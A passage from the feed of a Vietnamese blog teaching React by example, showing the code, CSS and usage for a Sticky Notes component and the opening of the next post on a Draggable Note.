Lấy vị trí của note hiện tại, từ đó tính toán vị trí của note mới</span> <span class="token keyword">const</span> offset <span class="token operator">=</span> <span class="token function">getOffset</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> noteData <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">initNoteData</span><span class="token punctuation">(</span>offset<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Cập nhật lại state</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">state</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">activeId</span><span class="token operator">:</span> noteData<span class="token punctuation">.</span>id<span class="token punctuation">,</span> <span class="token literal-property property">notes</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token operator">...</span>state<span class="token punctuation">.</span>notes<span class="token punctuation">,</span> noteData<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Xử lý khi người dùng click vào dầu nhân (x) để bỏ note. * Trong đó, id là giá trị id - để phân biệt các note. */</span> <span class="token function">onRemoveNote</span><span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Nếu hiện tại chỉ có 1 note thì không cho phép xoá note đi</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>notes<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token comment">// Dùng filter lọc lấy các note có id khác với id cần xoá</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">state</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> remainNotes <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>state<span class="token punctuation">.</span>notes<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">note</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> note<span class="token punctuation">.</span>id <span class="token operator">!==</span> id<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">activeId</span><span class="token operator">:</span> remainNotes<span class="token punctuation">[</span>remainNotes<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>id<span class="token punctuation">,</span> <span class="token literal-property property">notes</span><span class="token operator">:</span> remainNotes<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Vì có nhiều note nên chúng có thể chồng lên nhau. * Do đó, hàm này nhằm mục đích làm cho một note, * ứng với id truyền vào được active - nghĩa là, * nó sẽ được hiển thị lên trên so với các note còn lại. * * Cụ thể là note active sẽ có z-index = 1, các cái còn lại, * sẽ có z-index = 0. * * Ngoài ra, chỉ update state nếu giá trị id mới cần update khác với * giá trị hiện tại. */</span> <span class="token function">makeActive</span><span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>activeId <span class="token operator">!==</span> id<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">activeId</span><span class="token operator">:</span> id<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi lên từ mỗi Draggable Note. * Khi có một note ứng với id - thay đổi dữ liệu của nó, * bao gồm một trong các loại: width, height, top, left, content, * thì hàm này được gọi để cập nhật lại state cho component. */</span> <span class="token function">handleDataChange</span><span class="token punctuation">(</span><span class="token parameter">id<span class="token punctuation">,</span> data</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">state</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> newNotes <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>state<span class="token punctuation">.</span>notes<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">note</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>note<span class="token punctuation">.</span>id <span class="token operator">===</span> id<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>width <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> note<span class="token punctuation">.</span>width <span class="token operator">=</span> data<span class="token punctuation">.</span>width<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>height <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> note<span class="token punctuation">.</span>height <span class="token operator">=</span> data<span class="token punctuation">.</span>height<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>top <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> note<span class="token punctuation">.</span>top <span class="token operator">=</span> data<span class="token punctuation">.</span>top<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>left <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> note<span class="token punctuation">.</span>left <span class="token operator">=</span> data<span class="token punctuation">.</span>left<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">.</span>content <span class="token operator">!==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> note<span class="token punctuation">.</span>content <span class="token operator">=</span> data<span class="token punctuation">.</span>content<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> note<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">notes</span><span class="token operator">:</span> newNotes<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/** * Khác với Draggable bình thường, mỗi note của StickyNotes * cần phải có thêm 2 button: (+) để thêm note và (x) để xoá note. * Vì vậy, mình cần định nghĩa nó là header - * để truyền vào thuộc tính title của DraggableNote */</span> <span class="token keyword">const</span> <span class="token function-variable function">header</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">title<span class="token punctuation">,</span> id</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-sticky-notes-header<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>add<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>onAddNote<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> + </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span><span class="token punctuation">></span></span><span class="token punctuation">{</span>title<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>remove<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">onRemoveNote</span><span class="token punctuation">(</span>id<span class="token punctuation">)</span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> x </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * Khác với việc sử dụng DraggableNote thông thường, * phần này mình có nhiều DragableNote - mà cho phép thêm, xoá note. * * Vì vậy, mình cần truyền vào; * + id: để phân biệt note * + zIndex: để hiển thị lên top cái note đang được active * + handleDataChange: là hàm callback, để mỗi khi một note thay đổi * thì hàm này sẽ được gọi để cập nhật state. */</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">React.Fragment</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>notes<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">note<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">makeActive</span><span class="token punctuation">(</span>note<span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">DraggableNote</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token function">header</span><span class="token punctuation">(</span>note<span class="token punctuation">.</span>title<span class="token punctuation">,</span> note<span class="token punctuation">.</span>id<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>width<span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>height<span class="token punctuation">}</span></span> <span class="token attr-name">top</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>top<span class="token punctuation">}</span></span> <span class="token attr-name">left</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>left<span class="token punctuation">}</span></span> <span class="token attr-name">content</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>content<span class="token punctuation">}</span></span> <span class="token attr-name">zIndex</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>id <span class="token operator">===</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>activeId <span class="token operator">?</span> <span class="token number">1</span> <span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">}</span></span> <span class="token attr-name">id</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>note<span class="token punctuation">.</span>id<span class="token punctuation">}</span></span> <span class="token attr-name">handleDataChange</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>handleDataChange<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">React.Fragment</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-sticky-notescss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-sticky-notescss" aria-label="nội dung file sticky notescss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file sticky-notes.css</h3> <p>File này dùng để xác định style cho Sticky Notes Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-sticky-notes</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">sticky-notes.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-sticky-notes-header, .lp-sticky-notes-header *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-sticky-notes-header</span> <span class="token punctuation">{</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> -webkit-flex<span class="token punctuation">;</span> <span class="token property">justify-content</span><span class="token punctuation">:</span> space-between<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-sticky-notes-header > .add, .lp-sticky-notes-header > .remove</span> <span class="token punctuation">{</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 1.1rem<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0.2<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0 5px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #404040<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">,</span> color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">,</span> color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">,</span> color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">,</span> color 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-sticky-notes-header:hover > .add, .lp-sticky-notes-header:hover > .remove</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-sticky-notes-header:hover > .add:hover, .lp-sticky-notes-header:hover > .remove:hover</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-sticky-notes-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-sticky-notes-component" aria-label="sử dụng sticky notes component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Sticky Notes component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> StickyNotes <span class="token keyword">from</span> <span class="token string">"./components/sticky-notes/sticky-notes"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text">Sticky Notes</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> Made by </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://about.phamvanlam.com/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">Lam Pham</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. Visit me at </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text">completejavascript.com</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token plain-text">. </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">StickyNotes</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Click here to move the note</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">400</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">250</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">top</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">150</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">left</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">350</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">content</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token string">""</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Sticky Notes Component có các thuộc tính là:</p> <ul> <li><strong>title (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> là title của component.</li> <li><strong>width, height (String hoặc <a href="/kieu-du-lieu-trong-javascript/">Number</a>):</strong> lần lượt là chiều rộng và chiều cao của phần tử.</li> <li><strong>top, left (String hoặc Number):</strong> lần lượt là vị trí top và left của phần tử so với window.</li> <li><strong>content (String)</strong>: nội dung mặc định của Sticky Notes đầu tiên.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #10 – Sticky Notes. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/sticky-notes/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #9: Draggable Note]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #9. Bài này mình sẽ thực hành React thông qua việc tạo Draggable Note. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa: Thực tế…]]>https://completejavascript.com/hoc-react-qua-vi-du-9-draggable-note/https://completejavascript.com/hoc-react-qua-vi-du-9-draggable-note/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Thu, 06 Dec 2018 22:30:43 GMT<p>Xin chào bạn đến với Học React qua ví dụ #9. Bài này mình sẽ thực hành React thông qua việc tạo Draggable Note. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/draggable-note/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Thực tế, Draggable Note được phát triển lên từ <a href="/hoc-react-qua-vi-du-8-draggable-element/">Draggable Element</a>. Nghĩa là React Component này cũng có thể di chuyển, thay đổi vị trí được. Ngoài ra, vì là <strong>note</strong>, nên bạn có thể viết text lên đó.</p> <p>Và sau đây sẽ là cách triển khai, mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #9 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 